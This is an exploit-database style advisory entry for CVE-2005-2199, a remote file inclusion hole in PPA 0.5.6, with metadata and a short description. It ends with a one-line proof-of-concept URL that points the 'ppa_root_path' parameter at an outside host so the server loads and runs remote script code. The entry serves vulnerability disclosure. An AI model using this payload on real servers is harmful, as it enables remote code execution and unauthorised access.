PPA 0.5.6 - 'ppa_root_path' File Inclusion

Author: skdaemon porra
type: webapps
platform: php
port: 
date_added: 2005-07-10  
date_updated: 2013-06-05  
verified: 1  
codes: CVE-2005-2199;OSVDB-17836  
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raw file: 25960.txt  

source: https://www.securityfocus.com/bid/14209/info

PPA is susceptible to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

http://www.example.com/inc/functions.inc.php?config[ppa_root_path]=http://www.example.com